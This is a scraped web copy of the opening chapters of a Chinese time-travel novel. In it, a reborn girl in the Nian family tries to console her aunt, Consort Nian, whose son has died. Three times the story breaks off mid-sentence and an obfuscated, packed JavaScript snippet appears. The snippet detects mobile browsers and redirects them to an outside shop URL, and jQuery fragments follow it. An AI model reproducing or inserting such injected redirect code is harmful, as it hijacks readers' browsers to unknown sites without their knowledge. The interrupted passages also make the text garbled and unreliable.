《穿成年羹尧的女儿[清穿]》 1. 第 1 章 康熙五十九年。 七月。 盛夏的京城热得似叫人喘不过气来。 年仅五岁的年珠躺在玉簟之上,纵然屋内角落摆着盛满冰块的冰鉴,她仍觉得燥热难忍。 屋外传来一声又一声聒噪的知了叫,叫的她心里更烦了。 她非常怀念后世的空调。 没错。 这个粉雕玉琢、长着一双如葡萄般大眼睛的小女娃正是胎穿者。 上辈子,她也叫年珠,是个无父无母的孤儿。 那时她最喜欢做的事情就是趴在福利院的铁栅栏,看着外头来来往往的行人。 那些人有爸爸妈妈,有兄弟姐妹……所以她就想,若有下辈子,她也想有很多很多亲人。 一穿越。 年珠的梦想实现了。 还是加倍实现的那种! 就算她年纪小,却也知道她穿进了清朝一大户人家,祖父、大伯和阿玛都在朝中身居要职,家里人……多的有点吓人。 到底有多吓人了? 她光是同父的兄弟,都足足有十个。 同父的姐妹,更是有八个之多。 当年珠刚知道这消息时,襁褓中的她惊的说不出话来。 老天爷呀! 搁这儿下小猪崽呢! 用她额娘觉罗氏身边嬷嬷的话来说:“……也幸好福晋您身份尊贵,要不然这日子真的是没法过了。” “二爷这些年身边莺莺燕燕就没断过,也幸好二爷远在四川,您离得远远的,眼不见为净。” “您啊,莫要多想,只要带着几个孩子好好过日子。” “您身份摆在这儿,偌大一个紫禁城,能有几个人能越得过您去?” 年珠震惊之余,又觉得有点庆幸。 要是她真穿成一庶女或丫鬟,那真是哭都没地儿哭去。 不说别的,论起吃穿用度,那叫一奢华。 就她屋子里摆的这几个冰鉴,又大又精美,就连上面的画眉鸟都栩栩如生。 更重要的是,还是纯金的! 她曾偷偷听几个乳娘议论过,说这样的一个冰鉴,足够在京城买个小院子。 年珠的眼神落在其中一个冰鉴上,无聊打了个哈欠。 虽说日子富贵归富贵,却是太无聊了点! 她刚翻身准备睡个午觉,就听到外头传来小丫鬟的通传声。 “格格,福晋来了。” 紧接着,就有个二十多岁,身了件水红色缎平金纱绣旗服,没怎么打扮的妇人走了进来。 这人正是年珠的额娘觉罗氏。 因外头太过炎热的缘故,觉罗氏额上、鼻尖都冒着汗珠子。 她一看到无精打采的年珠,就训斥起几个乳母来。 “你们几个是如何伺候七格格的?” “这都什么时辰了,七格格怎么还不午歇!” 以聂乳母为首的几个乳母忙跪了下来,战战兢兢求饶。 “额娘。”年珠坐直了身子,开口道,“和乳母她们没关系。” “是我自己不想午歇。” 她伸出小胖手牵起觉罗氏的手来,笑着道:“我想着您今日还没来看我呢!” “额娘,您怎么这时候来了?” “外头多热呀!” “您看,您脸上都是汗!” 这话说的觉罗氏脸色由阴转晴,几个乳母也跟着松了口气。 众所周知,觉罗氏虽替二爷生下两子一女,但最疼的就是七格格年珠。 有道是女儿是爹娘的小棉袄,别说觉罗氏稀罕这宝贝女儿,几个乳娘也觉得年珠是个招人喜欢的孩子。 长得好看可爱,心地良善,也没什么架子。 聂乳母见年珠冲自己使了个眼色,这才忙带着几个乳母退了下去。 觉罗氏自是将女儿小动作尽收眼底,哭笑不得道:“……你啊你,叫我如何说你才好?” “正是因你平日里对你院里的下人太好了,所以才养得她们如此懒散。” “想你大姐姐当年未出阁时,可是将院子里的丫鬟婆子收拾的服服帖帖。” “就你这般性子,来日若嫁了人,还不知道被婆家怎么磨挫了。” 年珠无奈道:“额娘……” 她只觉得这个话题对自己来说太过遥远。 就算她刻意把腔调压得低沉些,声音中仍是止不住的稚气。 这世上最难受的事情是什么? 不是老黄瓜刷绿漆装嫩,而是嫩黄瓜里有个老黄瓜的芯子。 这种感觉无时无刻都让年珠觉得别扭。 “好了,好了,你若不喜欢额娘不说就是了。”觉罗氏将女儿抱在膝上,笑道,“今日咱们珠珠乖不乖?中午有没有好好吃饭……” 她一个个问题是事无巨细。 年珠是一一作答。 对于觉罗氏,她很是喜欢。 虽说她这母亲是刀子嘴,却是豆腐心,虽说她这母亲时常拿她同出嫁的大姐姐比较,虽说她这母亲时常说她没有满族姑奶奶的跋扈……但她知道,天底下对她最好的人就是觉罗氏。 想当初,她刚生下来时比猫儿还弱,所有人都说她活不长的。 唯有觉罗氏没有放弃,到处求医问药、求神拜佛。 年珠看着觉罗氏疲惫的面容,扯着她的袖子道:“额娘,您陪我一起午歇好不好?” 觉罗氏想着书房里那一摊子事儿,不免有几分犹豫。 但她一低头,就看到年珠那水汪汪的大眼睛,只能无奈点头。 得逞的年珠不顾天气炎热,抱着觉罗氏的胳膊就躺下了。 别人不知道,但她却是知道她额娘一日日的有多忙。 随着两年前她阿玛升为四川总督后,家里是门庭若市,客人是络绎不绝,她额娘就更忙了。 这对她来说,这可真是甜蜜的烦恼。 年珠原本就打算午睡的,如今抱着觉罗氏的胳膊呼呼睡了过去。 觉罗氏见女儿睡熟,这才抽出胳膊,又叫人将账册什么的搬到外间,开始处理琐事。 当然,她瞧见年珠额上的汗珠,又低声吩咐两个小丫鬟去年珠身侧轻轻打扇。 年珠这一觉睡得很踏实。 等她一醒来,就看到床前两个打扇的小丫鬟,心知自己这是又被骗了。 她刚准备起身,却听到外间传来觉罗氏说话的声音:“……姑奶奶真是可怜,前几年先是小格格没了,如今小阿哥也没了。” “可偏偏二爷交代过,如今要保持和姑奶奶那边的距离。” “若是惹得皇上起疑心,那就不好了。” 年珠竖起了耳朵。 自她知道穿到大清,如今当家作主的皇上是康熙后,就对朝中局势很关心。 毕竟大名鼎鼎的“九龙夺嫡”不是闹着玩的,万一他们家站队站错了,那不是一个大写的凉凉? 可觉罗氏力求孩子能够无忧无虑长大,从不在孩子跟前说这些,甚至发话说若有人敢在公子格格跟前嚼舌根子,一律打死拖到乱葬岗去。 年珠知道机会难得,并不敢出声。 下一刻,她果然听到觉罗氏身边石嬷嬷说话的声音:“福晋,若是旁的事儿,可以写信去四川问问二爷的意思。” “但这等事儿哪里等得及?” “您不如问问老爷或者大福晋的意思?” “虽说这个时候与雍亲王府要保持距离,但咱们家早就暗中被划到雍亲王那一派,若这样大的事儿不出面,倒有些此地无银三百两的意思……” 年珠恨不得高兴的蹦起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172547|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >雍亲王府? 他们一家和四爷是一派的?那就太好了! 她虽对清朝历史不大感兴趣,却也知道历史上大名鼎鼎的雍正帝是有仇报仇、有恩报恩的性子。 到时候他们一家子的待遇不说比肩十三爷,起码也能高枕无忧吧! 这可把年珠高兴的哟,连石嬷嬷接下来说了些什么都没听进去。 外间的觉罗氏却觉得石嬷嬷这法子不好。 “自我进门后,大嫂就我身份尊贵,借口身子不好将主持中馈的权利交给了我。” “若我因这些事还去找阿玛和大嫂,若叫旁人知道……难免又要说三道四的。” 有人的地方就有江湖。 有女人的地方,就有战场。 她口中的“旁人”,就是替丈夫生儿育女的一众姨娘们。 石嬷嬷是知道自家主子向来要强,也没有再劝。 主仆两人商量来商量去,总算在申时之前想出了个好法子。 觉罗氏这才想起女儿来,进里间一看,却瞧见年珠坐在炕上荡着脚丫子傻笑呢。 “你这孩子,起来怎么也不说一声?可要吃点心?” “瞧你一副高兴的样子,可是做了什么美梦?说来额娘也听一听!” “额娘,这是秘密。”年珠方才已畅想过美好的未来,知道自己会一路躺赢,笑道,“不能告诉你。” 觉罗氏并未勉强,将她抱在怀里喂她吃起糕点来:“珠珠,你想出去玩吗?” 年珠头点的宛如小鸡啄米似的:“当然想。” 虽说满族姑娘的待遇比起汉人来强上不少,不用缠足,还能跟着父兄学习骑马,偶尔还能跟着家人出去转转……但若想要像后世女子一样在街上撒欢,却是不大可能的。 对高门大户的格格们来说,更是天方夜谭。 觉罗氏笑道:“珠珠,你可还记得你姑姑?” “记得!”年珠顿时是眼前发亮,“姑姑可好看啦,姑姑和额娘是我见过最好看的女子了。” 她之所以在府中上下能横着走。 一来是因为额娘觉罗氏身份尊贵。 二来是自她出生后,她阿玛的官是一升再升。 三来则是因为她是长得像姑姑,是年家上下最好看的小娃娃。 …… 好看的小娃娃,谁不喜欢? 觉罗氏捏着年珠的小鼻子道:“你呀,可真是个小马屁精,额娘哪里能有你姑姑好看?” “若额娘能有你姑姑一半好看,你阿玛就不会纳这么多妾了……好了,不说这些了,额娘要交代你一件很重要的事。” 年珠重重点头:“额娘您说,我一定帮您把事情办好。” "你姑姑虽生的貌美,却是个命苦的,前两年刚没了女儿,如今又没了儿子。”觉罗氏也是个母亲,自然知道姑奶奶伤心成什么样子,“珠珠,明日你就要去看望你的姑姑,记住,你姑姑的孩子刚夭折,你到了雍亲王府可不得顽皮。” 年珠正欲点头答应,却忽然愣在原地。 什么? 雍亲王府? 怪不得她姑姑很少回来,她也总不见姑父回来,难道……她的姑父就是传说中的四爷? 历史上的年贵妃姓年,她也姓年! 她顿时觉得自己的脑子有点不够用。 等等。 难道她的姑姑就是早亡的年贵妃?她阿玛是年羹尧?那……那还躺赢个屁啊,她恨不得马上收拾东西开始去逃命! 她磕磕巴巴道:“额娘,我阿玛到底叫什么名字?” “他,他不是叫……年亮工吗?” 逢年过节时,年珠阿玛也是偶尔会回来的。 年珠听的清清楚楚。 她祖父喊她大伯“允恭”,喊她阿玛“亮工”的啊! 2. 第 2 章 觉罗氏一副看小傻子的样子看自家女儿,柔声道:“珠珠,亮工是你阿玛的字,他的名字叫年羹尧。” 年珠:“……” 完了! 真的完了! 她惊得半晌才回过神来。 回过神后,她想到的第一个问题就是她在历史课上学过,雍正三年,就开始清算年羹尧,并且在年贵妃去世,将年羹尧父子等人杀的杀,清算的清算。 而如今,距离雍正三年不过只有五年的时间啊! 她是欲哭无泪。 恰好这时候石嬷嬷端着井水湃过的荔枝进来,含笑道:“福晋,格格,吃点荔枝吧。” “这荔枝可是外头有银子都买不到的好东西。” 装在高脚天青色甜白釉果盘的荔枝是又大又新鲜,红彤彤的果子足有鸡蛋大,瞧着就叫人觉得食欲大开。 觉罗氏率先剥好一个荔枝喂年珠吃,道:“这荔枝可是稀罕东西。” “你阿玛虽多情,但对你却是极好的。” “他在信中说了,你向来贪嘴,这荔枝多给你分些。” 说着,她更是低头道:“珠珠,这荔枝好吃吗?” 年珠是味同嚼蜡。 她怎么看这盘子荔枝怎么像催命符。 她从前曾在史书上看过,说是康熙帝分荔枝都是一颗颗的分,得宠的妃嫔皇子能多分一两颗荔枝,她倒好,竟能一盘盘吃起荔枝来? “珠珠,你怎么了?”觉罗氏见她脸色苍白,拿手探了探她的额头,“你是不是有哪儿不舒服?你可别吓额娘啊!” 从前的年珠可是只小馋猪,但凡是好吃的她都喜欢。 今日这般模样,还真是第一次! 年珠回过神来,已瞧见聂乳母等人已跪了一地,一个个是瑟瑟发抖的模样。 她忙道:“额娘,我没事儿。” “我,我……我只是想到明日就能见到姑姑,高兴坏了。” 觉罗氏问了又问,瞧见年珠又成了从前那活泼可爱的样子,悬着的一颗心才彻底放下来。 紧接着,她便对年珠是千叮咛万嘱咐。 比如,明日去了雍亲王府不得随意走动,只能好好待在年侧福晋的院子。 比如,明日若一不小心撞见了雍亲王福晋,行礼之后千万别说话,多说多错,雍亲王福晋看年侧福晋不顺眼已非一日两日。 …… 又比如,明日年珠最重要的任务就是劝年侧福晋好好养着身子,只有身子养好,才能有孩子。 到了最后,就连觉罗氏这个任务对只有年仅五岁的年珠来说过于艰难。 “珠珠,你能行吗?” “若是不行,明日要你五哥陪你一起去如何?” 觉罗氏膝下有两子一女,她的两个儿子一个排行老三,一个排行老五。 年珠头摇的像拨浪鼓似的:“额娘,我不要五哥陪我一起去。” “我一个人能行的。” “您放心,我保准不会叫您失望。” 短短时间内,她想明白了很多事,最重要的事情就是一定要保住她姑姑年若兰的命,兴许……来日的四爷看在姑姑的面子上,对他们一家能从轻发落。 当天晚上,年珠早早就歇下了。 翌日一早,小小年纪的年珠就去了雍亲王府。 亲王府比起年家来,更是规矩严苛许多。 年珠跟在小太监身后,一路到了年若兰的听雪轩。 听雪轩是个幽静宽敞的院子,大热天的,阳光透过斑驳的树叶洒在花圃,微风轻拂,花圃中错落有致的芍药、绣球等花卉开的很是动人。 墙角养着几杆琴丝竹,廊下挂着两只牡丹鹦鹉,院中还有个开满莲花的小池塘……种种,能看出四爷对这院子和院子的主人很上心。 可偏偏廊下穿行的丫鬟,候着的太监面上带着不安之色,仿佛头顶罩着一团乌云,压得他们喘不过气。 年珠直奔里间而去。 屋内的年若兰正躺在床上,面色憔悴,虚弱至极。 年珠顿时就惊呆了。 过年时候的姑姑虽羸弱如弱柳扶风,身子不大好,却也是面色红润。 但今日的姑姑就宛如一朵衰败的芍药花,面上毫无神采,眼里更是透着绝望。 “姑姑,您怎么了?” “您,您……这是怎么了!” “珠珠,别怕!”年若兰挤出几分笑,冲年珠挥手道,“来姑姑这儿。” 年珠走了过去,握住她瘦骨嶙峋的手。 年若兰灰败的脸上终于有了一两分神采,有气无力道:“昨日傍晚我接到了二嫂的来信,说今日你会来看我,我高兴得很。” “如今储君之位空悬,人人惶恐不安,我原以为年家不会有人过来。” 说着,她更是吩咐道:“秦嬷嬷,你将小厨房刚出锅的糕点端来给珠珠尝尝。” “我记得过年时她很喜欢吃甑尔糕的。” 甑尔糕,是京城许多孩童都喜欢的吃食。 但市井的吃食哪里及得上皇家? 年珠记得去年过年时,她见到这甑尔糕觉得有些新奇,不免多吃了几块,没想到姑姑却记得。 年珠咬着甑尔糕,一副欲言又止的样子。 “好孩子,你想说什么?”年若兰是个喜欢孩子的,况且当初她那个没了的女儿与年珠年纪相仿,模样更有几分相似,看到年珠,她就像看到自己的女儿一样,“我这儿,没有外人,你想说什么直接开口就是。” 年珠满脑袋里装的都是额娘叮嘱她的话。 但这些场面话,如今她却觉得说不出口。 想必这些话已有很多人说过了。 她想了想,到底还是道:“姑姑,您若是难受,那就狠狠哭一场吧。” “哭过之后,心里就好受多了。” 这话说的年若兰一愣。 两年前,十四阿哥被皇上封为大将军王,以天子亲征规格出征。 众人都以为德妃捧在手心的小儿子没几日就会铩羽而归,不曾想他却在西北屡战屡胜,几次立下奇功。 四爷因为这件事气的整夜整夜睡不着觉。 所再经丧子之痛,她不仅没有表现出伤心欲绝,不仅当着四爷的面装出一副无事人的样子,甚至还宽慰起四爷来。 “王爷,当初妾身有孕时太医就说过,这孩子怕是活不长。” “后来即便您又是请高僧做法,又是给他取福宜,也没能留住他。” “身为父母,我们该做的都做了,想必是这孩子与咱们没有缘分……” 她嘴上虽这样说,实则心里比刀子剜肉还难受。 纵然四爷在一众皇子中子嗣不丰,却也是几个儿子女儿的,可她……只有福宜啊! 所有人来看她劝她时都说,说她还年轻,又得宠,迟早再有儿子的,可就算她再有十个百个孩子,却也不是她的福宜啊! 想到那个乖觉懂事的孩子,想到太医说自己的身子再难替四爷生下康健的孩子……年若兰终于忍不住,泪如雨下。 她身边的秦嬷嬷早带着屋内伺候的丫鬟婆子退了下去。 “姑姑,您好好哭一场吧,哭出来后,心里就好受多了。”年珠就这样一直握着她的手,轻声道,“想当初五哥故意放走了我养的小兔子。” “等额娘派人找到小兔子时,小兔子已经死了,我也是伤心了好久。” “就算是额娘狠狠揍了五哥一顿,就算是许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172548|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人说不过就是一只兔子而已……也是半点安慰不了我。” “这世上的兔子有很多,可我养的那只再也回不来了。” 说着,她更是学着大人的样子拍拍年若兰的手,道:“我听额娘说过,福宜表弟出生后身子虽不好,却是极懂事的。” “这样一个懂事好看的孩子,若早早去了也未必……是坏事。” “人人都说好死不如赖活着,可一直病怏怏地活着也是一种折磨,更别说生在皇家,日子更是艰难。” “来世,他不仅会有疼他爱他的阿玛额娘,还会有个康健的身子……” 年若兰哭的是泣不成声,仿佛要将多日的悲痛都哭出来。 她们不知道的是,站在门外的四爷这时候也红了眼眶。 但四爷到底什么都没说,微微叹了口气就走了。 自福宜去世后,他觉得自己与年若兰之间好像隔了什么东西,好像他们两人都怕对方担心,故意装出一副“我并不难过”的样子…… 年若兰足足哭了大半个时辰,哭的浑身发抖,哭的眼圈红肿。 一直到她哭完了。 年珠才为她端上一盅清茶,道:“姑姑,您喝点温水润润嗓子吧。” 年若兰照做后,才道:“珠珠,谢谢你。” “哭了这一场,我心里舒服了不少。” “有些话我不能当着王爷的面说,不能当着王府女人的面说,心里好些话,谁都不能说。” “这些日子,福宜的东西一点点被搬空,我总觉得……好像所有人都在一点点忘了他。” “若连我这个当额娘的都忘了他,那他真是白来这世上一趟……” 年珠瞬间就懂了。 不是年若兰不想从丧子之痛中走出来,而是她觉得这样做是不对的,每每伤痛忘记一二,又会逼自己重新回想一遍。 唉。 也难怪历史上的年贵妃不到三十岁就没了。 照这样折腾,谁都活不长的。 她忙道:“姑姑,不会的。这世上有很多人都会记得福宜表弟的,我记得,额娘记得,祖父记得……还有,王爷也记得。” “等到下月初一,我要额娘带着我去万寿寺上香,我们给福宜表弟点一盏长明灯……” “这样会不会不太好?”年若兰却有几分犹豫。 在这个时代,早夭的孩子向来被视为不祥之人,哪里有资格受到香火供奉? 别说小阿哥,就连皇子未能长大,也不过是草草葬了。 “这有什么不合适的?”年珠哪里不知道年若兰的心思,忙道,“这件事您不说,我不说,额娘不说,谁能知道?” 说着,她更是压低声音道:“您就好好将心收到肚子里去。若什么时候您想福宜表弟了,也可以去万寿寺给他上炷香。” 年若兰犹豫片刻,到底还是点了点头。 年珠叽叽喳喳的陪着她说话,不仅要她带着自己在听雪轩转转,还要她为自己解释一二。 看的秦嬷嬷是直皱眉。 殊不知,年珠这样是大有深意。 在她看来,姑姑年若兰本就是郁结于心才生病的。 用后世的话来说,这病啊,就是闲出来的。 若多动动或有事可做,渐渐的,年若兰也就不会时常想起故去的孩子。 年若兰本就体弱,陪着年珠多走了几步路,只觉喘不上气。 恰好这时候年珠又开口道:“姑姑,我饿了。” “我想吃好吃的。” 这话听的年若兰身侧的秦嬷嬷直皱眉——去年过年时,她觉得七格格乖觉懂事,怎么不过半年的时间,就像变了个人似的?竟被惯的毫无尊卑?把雍亲王府当成了自己家不成? 3. 第 3 章 倒是年若兰一听这话忙吩咐石嬷嬷去小厨房准备,更道:“珠珠,姑姑有些累了,先歇歇,你自己玩会可好?” “好。”年珠点点头,脆生生道,“姑姑您快去歇一歇。” 她乖得很,踮着脚趴在院子里看池塘里的胖红鲤鱼。 一把鱼食撒下去,那些胖鲤鱼就来了。 又一把鱼食撒下去,那些胖鲤鱼又来了。 …… 年珠是乐此不疲。 等着一碗鱼食撒完了,她这才意识到不对劲。 “奇怪,我在家里热得是一步都不想来院子。” “这院子里怎么凉飕飕的?” “还怪舒服的!” 正带着丫鬟过来给年珠送果子的秦嬷嬷却是倨傲一笑,道:“七格格有所不知,王爷之所以给侧福晋选了这处院子,不仅是因为这院子清净,更是冬暖夏凉。” “听雪轩的后院有一片竹林不说,夏日多刮的是西南风,正好能将花园湖上的凉风吹来。” “侧福晋体弱,不好用冰的。” 说起这话来,她也是一副与有荣焉的样子,毕竟偌大个雍亲王府,也只有年侧福晋有如此待遇。 年珠似懂非懂点点头:“照这样说来,王爷对姑姑可真好呀!” 半个时辰之后。 年若兰就起来了。 睡了小半个时辰后,她的精神强多了。 从前太医也叮嘱过她,说她体虚体弱,最好每日午睡一刻钟。 可她每每躺在床上,总是喜欢胡思乱想,怎么都睡不着。 今日倒好,她累极了,一躺下来,很快就睡着。 年若兰笑道:“珠珠,方才我听秦嬷嬷说了,说你很喜欢我院子里的鱼儿,稍后我叫人送几条回去。” “你饿了没?咱们先吃饭好不好?” 年珠连忙点头。 因年若兰身子不好,故而小厨房送来的吃食多以清淡为主。 但亲王府厨娘的手艺却是一等一的好,像莲子肉丁酿鸭子、虾米拌海蜇、五香肘子丝攒盘、清水海兽碗菜……味道都很好,甚至就连绿豆黄米粥这等平平无奇的粥也是香糯好喝。 虽说年家的厨子也是花大价钱请来的,特别是年珠院里小厨房的厨娘还是她外祖父寻摸来的,但再好吃菜吃上几年都会觉得腻味,故而她这会是埋头苦吃。 当然,她也没忘记年若兰。 她一会给年若兰盛一碗粥,道:“姑姑,您快尝尝看,这绿豆黄米粥和我在家里吃的不大一样,又香又糯,真好喝!” 她一会又给年若兰夹一筷子肘子丝,道:“姑姑,快吃,这个好吃,您若是再不吃,就要被我吃完了。” …… 年若兰平日吃的还没有猫儿多,但今日足足吃了大半碗饭,半碗粥和一碗汤。 一来是她见着年珠吃的香甜,不免受到影响。 二来是年珠这个当侄女的频频给她夹菜,照顾她,盛情难却,她怎好拒绝? 到了最后,年若兰只觉有些撑得慌。 年珠见状,便又提议道:“姑姑,我听额娘说您有个花房,您陪我去看看好不好?” 还未等年若兰开口,秦嬷嬷却忍不住了:“七格格,侧福晋本就身子不好,今日又是陪着您散步又是陪着您玩耍,您就叫侧福晋好好歇歇吧?” 年珠是欲言又止,想了想,还是点点头。 她听她额娘说过这位秦嬷嬷的,因她祖母早逝,原是姑姑乳母的秦嬷嬷一直留在了姑姑身边。 秦嬷嬷忠心耿耿不假,却是太由着姑姑的性子了些。 换成了她,她保准不会叫姑姑病成这个样子,只有多吃多动,身子才能一日日好起来。 “嬷嬷,没事儿的。”年若兰笑了笑,道,“珠珠这也是为了我好。” 说着,她就牵着年珠的手朝外走去:“为了不惹人注意,我虽很少回年家,却也一直未曾断了与家中的联系。” “你祖父也好,亦或者你阿玛、大伯也好,都说你是个乖巧懂事的好孩子。” “你这是想要给我寻摸些事情做,叫我有事可忙对不对?” “是。”年珠笑了起来,脆生生道,“姑姑,您真聪明!” 她也不止一次听祖父阿玛等人夸起年若兰。 如此一来,姑侄两人虽没见过几次面,但心知对方是个好的,似有说不完的话。 一直到了夕阳西下,年珠这才准备回家。 谁知她这儿正与年若兰辞行了,就听说四爷来了。 说起来也是可怜,年珠还是第一次见自己这位王爷姑夫,她将额娘的话刻在了脑子里,随着年若兰请安后就一直闭口不言。 真的。 她还没想好怎么与这位眼里容不得半点沙子的四爷打交道。 是远离,是讨好,亦或者就这样不远不近的相处? 四爷已年纪不小,朝堂几经打滚,自一眼就看出了这个五岁小女娃眼里的恐惧。 他并未多想,也并不觉得意外,只问起年若兰今日可还好。 年若兰脸上难得露出几分笑容来:“王爷放心,妾身今日一切都好,因有珠珠陪着,妾身胃口都好了许多……” 许是年珠可爱讨喜,长得像她,许是血浓于水,她对这个五岁的小侄女很是喜欢。 “你开心就好。”四爷都快忘了多久没看到她这般真心实意的笑容,握着她的手道,“来人,赏。” 随着他的话音落下,他跟前的苏培盛就笑着上前道:“七格格,您随奴才一起下去领赏吧。” 年珠知道这是四爷要和年若兰单独相处,便大大方方告辞。 等着她跟在苏培盛身后到了雍亲王府大门口,却是大开眼界。 说好的富贵闲人?说好的圆明园居士了?四爷一出手,就知有没有啊! 这礼物足足有一马车,甚至还有个小太监站在马车旁,毕恭毕敬捧了个天青色的琉璃鱼缸,里头装着两尾品相极佳的凤鹤鱼。 年珠笑的眼睛都快看不见了,忙道:“苏公公,还请您回去帮我与王爷道谢。” “那什么,苏公公,您别送了,我回去啦。” 她捧着那琉璃鱼缸就上了马车,宛若珍宝。 这年头,已有小金鱼,觉罗氏就为她寻摸过几条养在了窗下鱼缸里,三天换水两天换鱼的。 寻常大户人家大多养的是胖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172549|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘟嘟的红鲤鱼,像这样好看的凤鹤鱼却是少见。 这两条凤鹤鱼儿就像双胞胎似的,浑身雪白,尾长如扫帚,就连头顶如祥云一样的红迹也是一样样的。 再配上那天青色的琉璃鱼缸,怎么看怎么叫人觉得赏心悦目。 年珠很喜欢。 她一回去,就吩咐聂乳母等人道:“乳母,一定要帮我好生养着这这两条鱼,可别养死了。” 聂乳母等人连声应下。 年珠原想着自己回来先去给额娘等人请安的,但她向来养尊处优惯了,又只是个五岁的孩子而已,却是累坏了。 她吃着吃着糕点,就歪在炕上睡着了。 她这一觉睡得极不踏实,一会梦见四爷当了皇帝清算他们年家,一会梦见她在流放的路上连个馒头都没得啃……嘴巴一瘪,人就醒了。 一睁眼,年珠却是吓了一大跳。 额娘觉罗氏,祖父年遐龄,伯母郭络罗氏,甚至连休沐在家的伯父年希尧都在这……她吓得以为自己梦还没醒了。 年遐龄率先发话道:“允恭,我就说我们先去外间等着,你却非要进来。” “你看,这不是吓着珠珠了?” 他老人家话里话外皆是对长子的不满。 “珠珠。”觉罗氏忙将年珠搂在怀里,抚着她的脊背道,“莫要害怕,额娘在这儿,没事儿的……” 年珠愈发觉得不对,抬头道:“祖父,额娘,你们这是做什么?可是出了什么事吗?” 虽说光是他们二房就有二十多个孩子,再加上大房的孩子,年家是“多子多福”,但年遐龄却对一众孙儿孙女们极好,很少露出这般严肃的神情。 “珠珠。”年希尧已迫不及待,率先开口道,“今日你可是见到了雍亲王?” “你与他都说了些什么?” “他为何会赏这么多东西给你?” “你可知光是他送给你的那两条凤鹤鱼,就价值千金?” …… 一连串的问题问的年珠是懵上加懵,却也知道问题出在了四爷的礼物上。 她便将今日之事一字不落地道了出来,最后更是关切道:“……额娘不是说我是晚辈,见姑姑没了孩子,前去探望也很正常吗?” “那如此说来,雍亲王赏我这么多礼物,也没有不正常啊?” “祖父,大伯,伯母,额娘,你们别着急,事情兴许没有你们想的那么糟糕。” 毕竟着急也是白着急,真正叫他们着急上火的事还没发生呢! 年遐龄是个年近八旬的老头,为官多年,阅历丰富,如今只微微叹了口气,低声道:“珠珠,你说的没错,可问题是这礼也太厚了点,况且……” 顿了顿,他又看向长子年希尧道:“况且,如今皇上极看重抚远大将军,命他管理进藏军务粮饷、居中调度,命他带领延信、噶尔弼等人出兵西藏。” “就在半日前,已传来抚远大将军率领清军攻下察木多的消息。” 抚远大将军,正是十四阿哥。 这事一出,定是圣心大悦,朝中上下拥护十四阿哥为储君的臣子更多,偏偏雍亲王这时候赏年珠这么多东西……这可不是好事! 4. 第 4 章 年珠知道自家祖父慌了,要不然,祖父说起这些话时定会避着她这小娃娃。 想想也是,天底下哪里有这样巧的事?前脚十四阿哥刚打了胜仗,后脚向来与年家保持距离的四爷就有这样大的动作,岂不是告诉所有人——年家就是我的人? 偏偏四爷到底是什么意思、什么心思,谁都猜不透,明知朝中拥护十四阿哥的人更多,却还要拉着年家一起下水吗? 她只觉得不看僧面看佛面,四爷就算看在年若兰的份上,也没必要做得这么绝吧! 年珠瞧见家中长辈一个个宛如热锅上的蚂蚁,忙道:“祖父,你们别担心。现在白白担心也没用,其实就算雍亲王没给我送这一堆礼物,咱们家明里暗里也被划到和雍亲王那一派去了……” 知晓历史的她是风轻云淡。 但关键的问题是年遐龄等人不知道历史啊! 觉罗氏更是好奇道:“珠珠,你怎么会知道这些事的?是不是又有谁在你跟前嚼舌根子?” “当然没有!”年珠担心她额娘又迁怒到聂乳母等人身上,忙扯谎道,“您不是向来觉得我很聪明吗?这话是我自己琢磨出来的,说是当初祖父知道皇上给姑姑赐下婚事来,愁的几个月没睡好觉。” “既然咱们家已经与雍亲王是一条船上的人,若船沉了,咱们岂不是都没好日子过?” “所以,放宽心吧。” 毕竟以后多的是苦日子呢! “珠珠,话不是这样说的。”年遐龄在朝为官多年,心思通透,思量片刻后道,“暗中交好是一回事,明面上交好又是另一回事。” 说着,他老人家长长叹了口气,道:“枪打出头鸟,如今我们明知雍亲王身处劣势,却与他来往更密,这不是故意打十四贝勒的脸吗?到时候十四贝勒不找我们算账,与谁算账?” “不过雍亲王向来稳重,也不知道他如此高调到底有何深意,好似故意拉拢年家一般……” 说者无意听者有心,年珠却是灵机一动道:“会不会是雍亲王故意当众拉拢咱们家,想要咱们一家当众与他划清界限?要不然,雍亲王这样大费周章做什么?” 年遐龄与年希尧父子两人听的是一愣一愣的,他们还真没敢往这儿想过。 “没错,肯定是这样子。”年珠认真想了想后,更是笃定道,“从前我虽偶尔听额娘说姑父对姑姑极好,但今日去了雍亲王府一趟,这才知道雍亲王对姑姑到底有多好。” “退一万步说,若真是十四贝勒登基,雍亲王的处境已经够艰难了,咱们家还受到清算,您说姑姑会不会更伤心?这时候若雍亲王与咱们家划清界限,兴许还能护住咱们家。” “到底怎么护住咱们年家了?您瞧,这机会不是来了嘛!” 